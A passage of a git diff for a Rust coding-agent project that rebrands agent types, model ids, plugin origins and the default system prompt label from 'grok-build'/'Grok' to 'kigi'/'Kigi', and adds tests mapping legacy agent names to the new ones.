-        for strict in ["codex", "grok-build-orchestrator"] {
+        for strict in ["codex", "kigi-orchestrator"] {
             assert!(
                 is_strict_harness_agent_type(strict),
                 "{strict} should be strict"
             );
         }
         for non_strict in [
-            "grok-build",
-            "grok-build-plan",
-            "grok-build-concise",
-            "grok-build-ask-user",
+            "kigi",
+            "kigi-plan",
+            "kigi-concise",
+            "kigi-ask-user",
             "opencode",
             "browser-use",
             "custom-user-agent",
             "",
-            "grok-build-totally-made-up",
+            "kigi-totally-made-up",
         ] {
             assert!(
                 !is_strict_harness_agent_type(non_strict),
@@ -1965,8 +1980,8 @@ Agent.
     fn test_model_override_display_shows_id() {
         assert_eq!(ModelOverride::Inherit.to_string(), "inherit");
         assert_eq!(
-            ModelOverride::Override("grok-3-fast".to_string()).to_string(),
-            "grok-3-fast"
+            ModelOverride::Override("kigi-3-fast".to_string()).to_string(),
+            "kigi-3-fast"
         );
     }
     #[test]
@@ -1980,7 +1995,7 @@ isolation: worktree
 background: true
 color: blue
 initialPrompt: "hello world"
-model: grok-3
+model: kigi-3
 ---
 
 Agent body.
@@ -1992,7 +2007,7 @@ Agent body.
         assert_eq!(def.background, Some(true));
         assert_eq!(def.color, Some(AgentColor::Blue));
         assert_eq!(def.initial_prompt.as_deref(), Some("hello world"));
-        assert_eq!(def.model, ModelOverride::Override("grok-3".to_string()));
+        assert_eq!(def.model, ModelOverride::Override("kigi-3".to_string()));
     }
     #[test]
     fn test_parse_minimal_definition() {
@@ -2177,7 +2192,7 @@ completionRequirement:
         assert_eq!(rec.max_delay_ms, 10000);
     }
     #[test]
-    fn test_default_tool_config_has_grok_build_tools() {
+    fn test_default_tool_config_has_kigi_tools() {
         let content = r#"---
 name: default-tools
 description: Test default tool config
@@ -2186,7 +2201,7 @@ description: Test default tool config
         let def = AgentDefinition::parse(content).unwrap();
         assert!(
             !def.tool_config.tools.is_empty(),
-            "default tool_config should have grok_build tools"
+            "default tool_config should have kigi tools"
         );
     }
     #[test]
@@ -2256,12 +2271,12 @@ description: Test default tool config
     #[test]
     fn test_from_json_has_default_toolset_with_task_tool() {
         let json = serde_json::json!(
-            { "name" : "grok-build", "description" : "Multi-surface coding agent.",
+            { "name" : "kigi", "description" : "Multi-surface coding agent.",
             "promptMode" : "extend", "permissionMode" : "dontAsk", "agentsMd" : true,
             "promptBody" : "You are a coding assistant." }
         );
         let def = AgentDefinition::from_json(&json).unwrap();
-        let task_tool_id = "GrokBuild:task";
+        let task_tool_id = "Kigi:task";
         assert!(
             def.tool_config.tools.iter().any(|tc| tc.id == task_tool_id),
             "from_json() without toolConfig should include TaskTool in default toolset, \
@@ -2358,9 +2373,9 @@ description: Test default tool config
     }
     #[test]
     fn test_model_override_serde_explicit_model_id() {
-        let yaml = "\"grok-3-fast\"";
+        let yaml = "\"kigi-3-fast\"";
         let m: ModelOverride = serde_yaml::from_str(yaml).unwrap();
-        assert_eq!(m, ModelOverride::Override("grok-3-fast".to_string()));
+        assert_eq!(m, ModelOverride::Override("kigi-3-fast".to_string()));
     }
     #[test]
     fn test_model_override_serialize_inherit() {
@@ -2370,17 +2385,17 @@ description: Test default tool config
     }
     #[test]
     fn test_model_override_serialize_override() {
-        let m = ModelOverride::Override("grok-3-fast".to_string());
+        let m = ModelOverride::Override("kigi-3-fast".to_string());
         let s = serde_json::to_string(&m).unwrap();
-        assert_eq!(s, "\"grok-3-fast\"");
+        assert_eq!(s, "\"kigi-3-fast\"");
     }
     #[test]
     fn test_model_override_in_frontmatter() {
-        let content = "---\nname: test\ndescription: Test\nmodel: grok-3-fast\n---\n";
+        let content = "---\nname: test\ndescription: Test\nmodel: kigi-3-fast\n---\n";
         let def = AgentDefinition::parse(content).unwrap();
         assert_eq!(
             def.model,
-            ModelOverride::Override("grok-3-fast".to_string())
+            ModelOverride::Override("kigi-3-fast".to_string())
         );
     }
     #[test]
@@ -2398,21 +2413,21 @@ description: Test default tool config
     #[test]
     fn test_model_override_in_json() {
         let json = serde_json::json!(
-            { "name" : "test", "description" : "Test", "model" : "grok-code-fast-1" }
+            { "name" : "test", "description" : "Test", "model" : "kigi-code-fast-1" }
         );
         let def = AgentDefinition::from_json(&json).unwrap();
         assert_eq!(
             def.model,
-            ModelOverride::Override("grok-code-fast-1".to_string())
+            ModelOverride::Override("kigi-code-fast-1".to_string())
         );
     }
     #[test]
     fn test_builtin_agent_name_strum_round_trip() {
         use std::str::FromStr;
         for (s, expected) in [
-            ("grok-build", BuiltinAgentName::GrokBuild),
-            ("grok-build-concise", BuiltinAgentName::GrokBuildConcise),
-            ("grok-build-ask-user", BuiltinAgentName::GrokBuildAskUser),
+            ("kigi", BuiltinAgentName::Kigi),
+            ("kigi-concise", BuiltinAgentName::KigiConcise),
+            ("kigi-ask-user", BuiltinAgentName::KigiAskUser),
             ("codex", BuiltinAgentName::Codex),
             ("opencode", BuiltinAgentName::Opencode),
             ("general-purpose", BuiltinAgentName::GeneralPurpose),
@@ -2431,6 +2446,49 @@ description: Test default tool config
         assert!(BuiltinAgentName::from_str("nonexistent").is_err());
         assert!(BuiltinAgentName::from_str("not-a-builtin-agent").is_err());
     }
+    /// Legacy pre-rebrand agent types (as persisted in old session files)
+    /// must map onto the current `kigi*` names; everything else passes
+    /// through unchanged.
+    #[test]
+    fn test_canonical_agent_type_maps_legacy_names() {
+        use std::str::FromStr;
+        let legacy = |suffix: &str| format!("{LEGACY_AGENT_TYPE_PREFIX}{suffix}");
+        for (suffix, expected) in [
+            ("", "kigi"),
+            ("-concise", "kigi-concise"),
+            ("-plan", "kigi-plan"),
+            ("-plan-no-subagents", "kigi-plan-no-subagents"),
+            ("-ask-user", "kigi-ask-user"),
+            ("-orchestrator", "kigi-orchestrator"),
+        ] {
+            let name = legacy(suffix);
+            assert_eq!(canonical_agent_type(&name), expected, "for {name}");
+            // Every mapped name resolves to a real builtin.
+            assert!(
+                BuiltinAgentName::from_str(canonical_agent_type(&name).as_ref()).is_ok(),
+                "legacy {name} must resolve to a builtin"
+            );
+        }
+        // Pass-through for current and unrelated names.
+        assert_eq!(canonical_agent_type("kigi-plan"), "kigi-plan");
+        assert_eq!(canonical_agent_type("general-purpose"), "general-purpose");
+        // A prefix match without a `-` separator is NOT a legacy alias.
+        let not_alias = legacy("ish");
+        assert_eq!(canonical_agent_type(&not_alias), not_alias.as_str());
+    }
+    /// The legacy default agent type resolves through discovery `by_name`,
+    /// which is the boundary session-restore and model `agent_type` strings
+    /// pass through.
+    #[test]
+    fn test_by_name_resolves_legacy_agent_type() {
+        let legacy_plan = format!("{LEGACY_AGENT_TYPE_PREFIX}-plan");
+        let def = crate::discovery::by_name(&legacy_plan).expect("legacy agent type resolves");
+        assert_eq!(def.name, "kigi-plan");
+        assert!(
+            is_strict_harness_agent_type(&format!("{LEGACY_AGENT_TYPE_PREFIX}-concise"))
+                == is_strict_harness_agent_type("kigi-concise")
+        );
+    }
     #[test]
     fn test_builtin_agent_name_definition_names_match() {
         use strum::IntoEnumIterator;
@@ -2519,7 +2577,7 @@ description: Test default tool config
         assert_eq!(recovered.mcp_inheritance, def.mcp_inheritance);
     }
     fn def_with_template(tpl: crate::prompt::context::TemplateOverride) -> AgentDefinition {
-        let mut def = AgentDefinition::default_grok_build();
+        let mut def = AgentDefinition::default_kigi();
         def.system_prompt = tpl;
         def
     }
diff --git a/crates/codegen/kigi-agent/src/discovery.rs b/crates/codegen/kigi-agent/src/discovery.rs
index 16864fd..a51b32c 100644
--- a/crates/codegen/kigi-agent/src/discovery.rs
+++ b/crates/codegen/kigi-agent/src/discovery.rs
@@ -72,8 +72,8 @@ pub enum SubagentSource {
 ///    `visible == callable` guarantee)
 /// 4. Filter: remove agents toggled off via `[subagents.toggle]`
 pub fn all_subagents(cwd: &Path, toggle: &HashMap<String, bool>) -> Vec<SubagentEntry> {
-    let grok = kigi_config::user_kigi_home();
-    all_subagents_with_home(cwd, toggle, dirs::home_dir().as_deref(), grok.as_deref())
+    let kigi = kigi_config::user_kigi_home();
+    all_subagents_with_home(cwd, toggle, dirs::home_dir().as_deref(), kigi.as_deref())
 }
 
 fn all_subagents_with_home(
@@ -189,7 +189,7 @@ fn merge_subagents(
 /// 4. `~/.kigi/bundled/agents/` (bundled, lowest priority)
 ///
 /// Deduplicates by name — higher-priority definitions win.
-/// User-level agent directories in priority order: user grok agents, `.claude`
+/// User-level agent directories in priority order: user kigi agents, `.claude`
 /// compat agents, then bundled. `.kigi` dirs resolve from `kigi_home`
 /// (KIGI_SHARE_DIR-aware) plus the legacy literal `~/.kigi` when KIGI_SHARE_DIR points
 /// elsewhere; `.claude` resolves from `home`.
@@ -200,7 +200,7 @@ pub(crate) fn user_agent_dirs(
     // Legacy literal ~/.kigi, included only when it differs from kigi_home
     // (i.e. KIGI_SHARE_DIR points elsewhere) so agents left in the old location are
     // still discovered and stay consistent with scope_from_path classification.
-    let legacy_grok = home
+    let legacy_kigi = home
         .map(|h| h.join(".kigi"))
         .filter(|legacy| kigi_home != Some(legacy.as_path()));
 
@@ -208,7 +208,7 @@ pub(crate) fn user_agent_dirs(
     if let Some(g) = kigi_home {
         dirs.push((g.join("agents"), AgentScope::User));
     }
-    if let Some(l) = &legacy_grok {
+    if let Some(l) = &legacy_kigi {
         dirs.push((l.join("agents"), AgentScope::User));
     }
     if let Some(h) = home {
@@ -217,15 +217,15 @@ pub(crate) fn user_agent_dirs(
     if let Some(g) = kigi_home {
         dirs.push((g.join("bundled").join("agents"), AgentScope::Bundled));
     }
-    if let Some(l) = &legacy_grok {
+    if let Some(l) = &legacy_kigi {
         dirs.push((l.join("bundled").join("agents"), AgentScope::Bundled));
     }
     dirs
 }
 
 pub fn discover(cwd: &Path) -> Vec<AgentDefinition> {
-    let grok = kigi_config::user_kigi_home();
-    discover_with_home(cwd, dirs::home_dir().as_deref(), grok.as_deref())
+    let kigi = kigi_config::user_kigi_home();
+    discover_with_home(cwd, dirs::home_dir().as_deref(), kigi.as_deref())
 }
 
 fn discover_with_home(
@@ -251,8 +251,8 @@ fn discover_with_home(
 ///
 /// Checks built-ins first, then user-level dirs, then bundled.
 pub fn by_name(name: &str) -> Option<AgentDefinition> {
-    let grok = kigi_config::user_kigi_home();
-    by_name_with_home(name, dirs::home_dir().as_deref(), grok.as_deref())
+    let kigi = kigi_config::user_kigi_home();
+    by_name_with_home(name, dirs::home_dir().as_deref(), kigi.as_deref())
 }
 
 fn by_name_with_home(
@@ -260,8 +260,12 @@ fn by_name_with_home(
     home: Option<&Path>,
     kigi_home: Option<&Path>,
 ) -> Option<AgentDefinition> {
-    // Check built-ins first — type-safe via BuiltinAgentName strum enum
-    if let Ok(builtin) = BuiltinAgentName::from_str(name) {
+    // Check built-ins first — type-safe via BuiltinAgentName strum enum.
+    // Legacy pre-rebrand agent types (persisted in old session files) are
+    // mapped onto their current names first; see `canonical_agent_type`.
+    if let Ok(builtin) =
+        BuiltinAgentName::from_str(crate::config::canonical_agent_type(name).as_ref())
+    {
         return Some(builtin.definition());
     }
 
@@ -287,8 +291,8 @@ fn by_name_with_home(
 /// Project-level `.kigi/agents/` has highest priority, then falls back
 /// to built-ins, user-level, and finally bundled definitions.
 pub fn by_name_in_cwd(name: &str, cwd: &Path) -> Option<AgentDefinition> {
-    let grok = kigi_config::user_kigi_home();
-    by_name_in_cwd_with_home(name, cwd, dirs::home_dir().as_deref(), grok.as_deref())
+    let kigi = kigi_config::user_kigi_home();
+    by_name_in_cwd_with_home(name, cwd, dirs::home_dir().as_deref(), kigi.as_deref())
 }
 
 fn by_name_in_cwd_with_home(
@@ -363,13 +367,13 @@ pub fn all_subagents_with_plugins(
     toggle: &HashMap<String, bool>,
     plugins: Option<&crate::plugins::PluginRegistry>,
 ) -> Vec<SubagentEntry> {
-    let grok = kigi_config::user_kigi_home();
+    let kigi = kigi_config::user_kigi_home();
     all_subagents_with_plugins_and_home(
         cwd,
         toggle,
         plugins,
         dirs::home_dir().as_deref(),
-        grok.as_deref(),
+        kigi.as_deref(),
     )
 }
 
@@ -450,13 +454,13 @@ pub fn by_name_in_cwd_with_plugins(
     cwd: &Path,
     plugins: Option<&crate::plugins::PluginRegistry>,
 ) -> Option<AgentDefinition> {
-    let grok = kigi_config::user_kigi_home();
+    let kigi = kigi_config::user_kigi_home();
     by_name_in_cwd_with_plugins_and_home(
         name,
         cwd,
         plugins,
         dirs::home_dir().as_deref(),
-        grok.as_deref(),
+        kigi.as_deref(),
     )
 }
 
@@ -533,7 +537,7 @@ fn by_name_in_cwd_with_plugins_and_home(
     None
 }
 
-/// Expand `${CLAUDE_PLUGIN_ROOT}` / `${CLAUDE_PLUGIN_DATA}` (and the Grok
+/// Expand `${CLAUDE_PLUGIN_ROOT}` / `${CLAUDE_PLUGIN_DATA}` (and the Kigi
 /// aliases) in a plugin agent's body so the model receives absolute paths,
 /// matching the expected load-time resolution for these variables.
 fn substitute_plugin_vars(def: &mut AgentDefinition, plugin: &crate::plugins::LoadedPlugin) {
@@ -675,8 +679,8 @@ mod tests {
         use crate::plugins::PluginOrigin;
         match scope {
             PluginScope::CliOverride => PluginOrigin::CliOverride,
-            PluginScope::Project => PluginOrigin::ProjectGrok,
-            PluginScope::User => PluginOrigin::UserGrok,
+            PluginScope::Project => PluginOrigin::ProjectKigi,
+            PluginScope::User => PluginOrigin::UserKigi,
             PluginScope::ConfigPath => PluginOrigin::ConfigPath,
         }
     }
@@ -763,27 +767,27 @@ mod tests {
     }
 
     #[test]
-    fn user_agent_dirs_includes_legacy_grok_when_kigi_home_differs() {
+    fn user_agent_dirs_includes_legacy_kigi_when_kigi_home_differs() {
         let home = Path::new("/home/u");
-        let grok = Path::new("/custom/grokhome");
-        let paths: Vec<_> = user_agent_dirs(Some(home), Some(grok))
+        let kigi = Path::new("/custom/kigihome");
+        let paths: Vec<_> = user_agent_dirs(Some(home), Some(kigi))
             .into_iter()
             .map(|(p, _)| p)
             .collect();
-        assert!(paths.contains(&grok.join("agents")));
+        assert!(paths.contains(&kigi.join("agents")));
         assert!(paths.contains(&home.join(".kigi").join("agents")));
         assert!(paths.contains(&home.join(".claude").join("agents")));
-        assert!(paths.contains(&grok.join("bundled").join("agents")));
+        assert!(paths.contains(&kigi.join("bundled").join("agents")));
         assert!(paths.contains(&home.join(".kigi").join("bundled").join("agents")));
     }
 
     #[test]
-    fn user_agent_dirs_dedups_legacy_when_kigi_home_is_dot_grok() {
+    fn user_agent_dirs_dedups_legacy_when_kigi_home_is_dot_kigi() {
         let home = Path::new("/home/u");
-        let grok = home.join(".kigi");
-        let count = user_agent_dirs(Some(home), Some(&grok))
+        let kigi = home.join(".kigi");
+        let count = user_agent_dirs(Some(home), Some(&kigi))
             .into_iter()
-            .filter(|(p, _)| *p == grok.join("agents"))
+            .filter(|(p, _)| *p == kigi.join("agents"))
             .count();
         assert_eq!(
             count, 1,
@@ -807,10 +811,10 @@ mod tests {
     }
 
     #[test]
-    fn test_by_name_builtin_grok_build() {
-        let def = by_name("grok-build");
+    fn test_by_name_builtin_kigi() {
+        let def = by_name("kigi");
         assert!(def.is_some());
-        assert_eq!(def.unwrap().name, "grok-build");
+        assert_eq!(def.unwrap().name, "kigi");
     }
 
     #[test]
@@ -1004,19 +1008,14 @@ mod tests {
         let agents_dir = tmp.path().join(".kigi").join("agents");
         fs::create_dir_all(&agents_dir).unwrap();
 
-        // Create a project-level "grok-build" that shadows the built-in
-        write_agent_file(
-            &agents_dir,
-            "grok-build.md",
-            "grok-build",
-            "Custom grok-build",
-        );
+        // Create a project-level "kigi" that shadows the built-in
+        write_agent_file(&agents_dir, "kigi.md", "kigi", "Custom kigi");
 
-        let def = by_name_in_cwd("grok-build", tmp.path());
+        let def = by_name_in_cwd("kigi", tmp.path());
         assert!(def.is_some());
         let def = def.unwrap();
-        assert_eq!(def.name, "grok-build");
-        assert_eq!(def.description, "Custom grok-build");
+        assert_eq!(def.name, "kigi");
+        assert_eq!(def.description, "Custom kigi");
     }
 
     #[test]
@@ -1024,10 +1023,10 @@ mod tests {
         let tmp = tempfile::tempdir().unwrap();
         // No .kigi/agents/ directory — should fall back to built-in
 
-        let def = by_name_in_cwd("grok-build", tmp.path());
+        let def = by_name_in_cwd("kigi", tmp.path());
         assert!(def.is_some());
         let def = def.unwrap();
-        assert_eq!(def.name, "grok-build");
+        assert_eq!(def.name, "kigi");
         // Should be the built-in, not a custom one
         assert_eq!(def.scope, AgentScope::BuiltIn);
     }
@@ -1048,11 +1047,11 @@ mod tests {
     #[test]
     fn test_orchestrator_from_str_resolves() {
         use std::str::FromStr;
-        let variant = BuiltinAgentName::from_str("grok-build-orchestrator")
-            .expect("from_str must resolve grok-build-orchestrator");
-        assert_eq!(variant, BuiltinAgentName::GrokBuildOrchestrator);
+        let variant = BuiltinAgentName::from_str("kigi-orchestrator")
+            .expect("from_str must resolve kigi-orchestrator");
+        assert_eq!(variant, BuiltinAgentName::KigiOrchestrator);
         let def = variant.definition();
-        assert_eq!(def.name, "grok-build-orchestrator");
+        assert_eq!(def.name, "kigi-orchestrator");
         assert!(
             def.prompt_body.is_some(),
             "orchestrator must have prompt_body"
@@ -1067,9 +1066,9 @@ mod tests {
     #[test]
     fn test_orchestrator_by_name_in_cwd() {
         let tmp = tempfile::tempdir().unwrap();
-        let def = by_name_in_cwd("grok-build-orchestrator", tmp.path())
-            .expect("by_name_in_cwd must find grok-build-orchestrator");
-        assert_eq!(def.name, "grok-build-orchestrator");
+        let def = by_name_in_cwd("kigi-orchestrator", tmp.path())
+            .expect("by_name_in_cwd must find kigi-orchestrator");
+        assert_eq!(def.name, "kigi-orchestrator");
         assert!(def.prompt_body.is_some());
     }
 
@@ -1461,7 +1460,7 @@ mod tests {
         let registry = make_plugin_registry("plugin-one", PluginScope::User, vec![]);
         let plugin = registry.get("plugin-one").unwrap();
 
-        let mut def = AgentDefinition::default_grok_build();
+        let mut def = AgentDefinition::default_kigi();
         def.prompt_body = Some("Body ${CLAUDE_PLUGIN_ROOT}/x".to_string());
         def.system_prompt =
             TemplateOverride::Custom("Data at ${CLAUDE_PLUGIN_DATA}/db".to_string());
diff --git a/crates/codegen/kigi-agent/src/lib.rs b/crates/codegen/kigi-agent/src/lib.rs
index a694442..edad2a2 100644
--- a/crates/codegen/kigi-agent/src/lib.rs
+++ b/crates/codegen/kigi-agent/src/lib.rs
@@ -23,7 +23,7 @@ pub use compaction::CompactionPolicy;
 pub use config::AgentDefinition;
 pub use config::preset_names;
 pub use config::toolset_for_preset;
-pub use config::workspace_grok_build_toolset;
+pub use config::workspace_kigi_toolset;
 pub use error::AgentBuildError;
 pub use prompt::context::{DEFAULT_SYSTEM_PROMPT_LABEL, PromptContext};
 pub use system_reminder::ReminderPolicy;
diff --git a/crates/codegen/kigi-agent/src/plugins/discovery.rs b/crates/codegen/kigi-agent/src/plugins/discovery.rs
index 34eca5f..177d143 100644
--- a/crates/codegen/kigi-agent/src/plugins/discovery.rs
+++ b/crates/codegen/kigi-agent/src/plugins/discovery.rs
@@ -69,11 +69,11 @@ pub enum PluginOrigin {
     /// CLI `--plugin-dir`.
     CliOverride,
     /// Project `.kigi/plugins/`.
-    ProjectGrok,
+    ProjectKigi,
     /// Project `.claude/plugins/`.
     ProjectClaude,
     /// `$KIGI_SHARE_DIR/plugins/`.
-    UserGrok,
+    UserKigi,
     /// `~/.claude/plugins/`.
     UserClaude,
     /// A compat marketplace clone (project `extraKnownMarketplaces`
@@ -87,7 +87,7 @@ pub enum PluginOrigin {
         /// Marketplace name from the `name@marketplace` JSON key, when present.
         marketplace: Option<String>,
     },
-    /// Grok's install registry (`~/.kigi/installed-plugins`).
+    /// Kigi's install registry (`~/.kigi/installed-plugins`).
     MarketplaceInstall {
         /// Git URL of the installed repo (None for local installs).
         git_url: Option<String>,
@@ -214,10 +214,10 @@ impl DiscoveryConfig {
 /// paths all resolve under `kigi_home()`, so a plugin scanned from the legacy
 /// tree would appear untrusted and lose its persisted state. Keeping plugins on
 /// `kigi_home()` only avoids that half-initialized state.
-fn user_plugin_dirs(home: Option<&Path>, grok: Option<&Path>) -> Vec<(PathBuf, PluginOrigin)> {
+fn user_plugin_dirs(home: Option<&Path>, kigi: Option<&Path>) -> Vec<(PathBuf, PluginOrigin)> {
     let mut dirs = Vec::new();
-    if let Some(g) = grok {
-        dirs.push((g.join("plugins"), PluginOrigin::UserGrok));
+    if let Some(g) = kigi {
+        dirs.push((g.join("plugins"), PluginOrigin::UserKigi));
     }
     if let Some(h) = home {
         dirs.push((h.join(".claude").join("plugins"), PluginOrigin::UserClaude));
@@ -234,7 +234,7 @@ fn project_plugins_dir_origin(plugins_dir: &Path) -> PluginOrigin {
     if is_claude {
         PluginOrigin::ProjectClaude
     } else {
-        PluginOrigin::ProjectGrok
+        PluginOrigin::ProjectKigi
     }
 }
 
@@ -336,10 +336,10 @@ pub fn discover_plugins(
     }
 
     // 4-5. User plugins: $KIGI_SHARE_DIR/plugins, legacy ~/.kigi/plugins, ~/.claude/plugins.
-    // Gate the grok plugins dir on user_kigi_home() so a project's .kigi/plugins
+    // Gate the kigi plugins dir on user_kigi_home() so a project's .kigi/plugins
     // is never scanned as user-global when no home resolves.
-    let grok = kigi_config::user_kigi_home();
-    let plugin_dirs = user_plugin_dirs(dirs::home_dir().as_deref(), grok.as_deref());
+    let kigi = kigi_config::user_kigi_home();
+    let plugin_dirs = user_plugin_dirs(dirs::home_dir().as_deref(), kigi.as_deref());
     for (plugins_dir, origin) in plugin_dirs {
         if plugins_dir.is_dir() {
             scan_plugin_dir(
@@ -903,11 +903,11 @@ mod tests {
     }
 
     #[test]
-    fn user_plugin_dirs_are_grok_and_claude_only_no_legacy() {
+    fn user_plugin_dirs_are_kigi_and_claude_only_no_legacy() {
         let home = Path::new("/home/u");
-        let grok = Path::new("/custom/grokhome");
-        let dirs = user_plugin_dirs(Some(home), Some(grok));
-        assert!(dirs.contains(&(grok.join("plugins"), PluginOrigin::UserGrok)));
+        let kigi = Path::new("/custom/kigihome");
+        let dirs = user_plugin_dirs(Some(home), Some(kigi));
+        assert!(dirs.contains(&(kigi.join("plugins"), PluginOrigin::UserKigi)));
         assert!(dirs.contains(&(
             home.join(".claude").join("plugins"),
             PluginOrigin::UserClaude
@@ -921,7 +921,7 @@ mod tests {
     }
 
     #[test]
-    fn user_plugin_dirs_empty_without_home_or_grok() {
+    fn user_plugin_dirs_empty_without_home_or_kigi() {
         assert!(user_plugin_dirs(None, None).is_empty());
     }
 
@@ -951,10 +951,10 @@ mod tests {
     }
 
     #[test]
-    fn project_plugins_dir_origin_distinguishes_grok_and_claude() {
+    fn project_plugins_dir_origin_distinguishes_kigi_and_claude() {
         assert_eq!(
             project_plugins_dir_origin(Path::new("/repo/.kigi/plugins")),
-            PluginOrigin::ProjectGrok
+            PluginOrigin::ProjectKigi
         );
         assert_eq!(
             project_plugins_dir_origin(Path::new("/repo/.claude/plugins")),
@@ -967,18 +967,18 @@ mod tests {
         let tmp = tempfile::tempdir().unwrap();
 
         // Create ~/.kigi/plugins/ structure
-        let grok_plugins = tmp.path().join(".kigi").join("plugins");
-        std::fs::create_dir_all(&grok_plugins).unwrap();
-        make_manifest_plugin(&grok_plugins, "user-tool");
+        let kigi_plugins = tmp.path().join(".kigi").join("plugins");
+        std::fs::create_dir_all(&kigi_plugins).unwrap();
+        make_manifest_plugin(&kigi_plugins, "user-tool");
 
         // Override home dir by directly scanning
         let trust = TrustStore::load_from(tmp.path().join("trust"));
         let mut seen = HashSet::new();
         let mut candidates = Vec::new();
         scan_plugin_dir(
-            &grok_plugins,
+            &kigi_plugins,
             PluginScope::User,
-            PluginOrigin::UserGrok,
+            PluginOrigin::UserKigi,
             &trust,
             false,
             &mut seen,
@@ -1002,7 +1002,7 @@ mod tests {
         scan_plugin_dir(
             &plugins_dir,
             PluginScope::User,
-            PluginOrigin::UserGrok,
+            PluginOrigin::UserKigi,
             &trust,
             false,
             &mut seen,
@@ -1325,7 +1325,7 @@ mod tests {
         collect_plugin(
             &user_plugin,
             PluginScope::User,
-            PluginOrigin::UserGrok,
+            PluginOrigin::UserKigi,
             &trust,
             false,
             &mut seen,
@@ -1381,7 +1381,7 @@ mod tests {
         collect_plugin(
             &empty_dir,
             PluginScope::User,
-            PluginOrigin::UserGrok,
+            PluginOrigin::UserKigi,
             &trust,
             false,
             &mut seen,
@@ -1404,7 +1404,7 @@ mod tests {
         collect_plugin(
             &plugin_dir,
             PluginScope::Project,
-            PluginOrigin::ProjectGrok,
+            PluginOrigin::ProjectKigi,
             &trust,
             false,
             &mut seen,
@@ -1427,7 +1427,7 @@ mod tests {
         collect_plugin(
             &plugin_dir,
             PluginScope::Project,
-            PluginOrigin::ProjectGrok,
+            PluginOrigin::ProjectKigi,
             &trust,
             true,
             &mut seen,
@@ -1458,7 +1458,7 @@ mod tests {
                 PluginScope::CliOverride,
                 PluginOrigin::CliOverride,
             ),
-            (&user_dir, PluginScope::User, PluginOrigin::UserGrok),
+            (&user_dir, PluginScope::User, PluginOrigin::UserKigi),
             (
                 &config_dir,
                 PluginScope::ConfigPath,
@@ -1505,7 +1505,7 @@ mod tests {
             .find(|p| p.manifest.name == "proj-mcp")
             .expect("project plugin discovered");
         assert_eq!(p.scope, PluginScope::Project);
-        assert_eq!(p.origin, PluginOrigin::ProjectGrok);
+        assert_eq!(p.origin, PluginOrigin::ProjectKigi);
         assert!(!p.trusted, "untrusted folder must block the project plugin");
 
         // Trusted folder: the same plugin is allowed.
diff --git a/crates/codegen/kigi-agent/src/plugins/registry.rs b/crates/codegen/kigi-agent/src/plugins/registry.rs
index 198e10e..9dc5a20 100644
--- a/crates/codegen/kigi-agent/src/plugins/registry.rs
+++ b/crates/codegen/kigi-agent/src/plugins/registry.rs
@@ -654,8 +654,8 @@ mod tests {
             scope,
             origin: match scope {
                 PluginScope::CliOverride => PluginOrigin::CliOverride,
-                PluginScope::Project => PluginOrigin::ProjectGrok,
-                PluginScope::User => PluginOrigin::UserGrok,
+                PluginScope::Project => PluginOrigin::ProjectKigi,
+                PluginScope::User => PluginOrigin::UserKigi,
                 PluginScope::ConfigPath => PluginOrigin::ConfigPath,
             },
             trusted,
diff --git a/crates/codegen/kigi-agent/src/plugins/trust.rs b/crates/codegen/kigi-agent/src/plugins/trust.rs
index 44fbd56..490fd29 100644
--- a/crates/codegen/kigi-agent/src/plugins/trust.rs
+++ b/crates/codegen/kigi-agent/src/plugins/trust.rs
@@ -40,13 +40,13 @@ impl TrustStore {
     pub fn load() -> Self {
         // Gate on user_kigi_home() so a project's `.kigi/trusted-plugins` is never
         // read as the user trust store when neither KIGI_SHARE_DIR nor a home dir resolves.
-        let Some(grok) = kigi_config::user_kigi_home() else {
+        let Some(kigi) = kigi_config::user_kigi_home() else {
             return Self {
                 trusted: HashSet::new(),
                 file_path: PathBuf::new(),
             };
         };
-        let file_path = grok.join(TRUST_FILE_NAME);
+        let file_path = kigi.join(TRUST_FILE_NAME);
         let trusted = Self::read_trust_file(&file_path);
         Self { trusted, file_path }
     }
diff --git a/crates/codegen/kigi-agent/src/prompt/context.rs b/crates/codegen/kigi-agent/src/prompt/context.rs
index 687968f..29b0d32 100644
--- a/crates/codegen/kigi-agent/src/prompt/context.rs
+++ b/crates/codegen/kigi-agent/src/prompt/context.rs
@@ -144,13 +144,13 @@ pub struct PromptContext {
     /// stdio / generic-ACP).
     #[serde(default)]
     pub is_non_interactive: bool,
-    /// Identity in the primary grok-build system prompt (`You are <label>…`).
+    /// Identity in the primary kigi system prompt (`You are <label>…`).
     /// Not the UI picker name. Defaults to [`DEFAULT_SYSTEM_PROMPT_LABEL`].
     #[serde(default = "default_system_prompt_label")]
     pub system_prompt_label: String,
 }
-/// Default identity on trim-tool-descriptions (`You are Grok released by xAI`).
-pub const DEFAULT_SYSTEM_PROMPT_LABEL: &str = "Grok";
+/// Default identity on trim-tool-descriptions (`You are Kigi released by xAI`).
+pub const DEFAULT_SYSTEM_PROMPT_LABEL: &str = "Kigi";
 fn default_system_prompt_label() -> String {
     DEFAULT_SYSTEM_PROMPT_LABEL.to_string()
 }
@@ -427,9 +427,9 @@ mod tests {
     #[test]
     fn test_placeholders_system_prompt_label_override() {
         let mut ctx = test_context();
-        ctx.system_prompt_label = "Grok Internal".into();
+        ctx.system_prompt_label = "Kigi Internal".into();
         let p = ctx.placeholders();
-        assert_eq!(p["system_prompt_label"], "Grok Internal");
+        assert_eq!(p["system_prompt_label"], "Kigi Internal");
     }
     #[test]
     fn test_missing_system_prompt_label_deserializes_to_default() {
@@ -1229,7 +1229,7 @@ mod tests {
             ("plan", plan),
         ] {
             assert!(
-                !prompt.contains("You are a Grok Build agent"),
+                !prompt.contains("You are a Kigi agent"),
                 "{name} prompt should not duplicate base template identity"
             );
         }
diff --git a/crates/codegen/kigi-agent/src/prompt/prompt_encrypted.rs b/crates/codegen/kigi-agent/src/prompt/prompt_encrypted.rs
index 95efc16..b327d8c 100644
--- a/crates/codegen/kigi-agent/src/prompt/prompt_encrypted.rs
+++ b/crates/codegen/kigi-agent/src/prompt/prompt_encrypted.rs
@@ -3,7 +3,7 @@
 // XOR-encrypted prompt templates (key = position-dependent seed).
 
 #[rustfmt::skip]
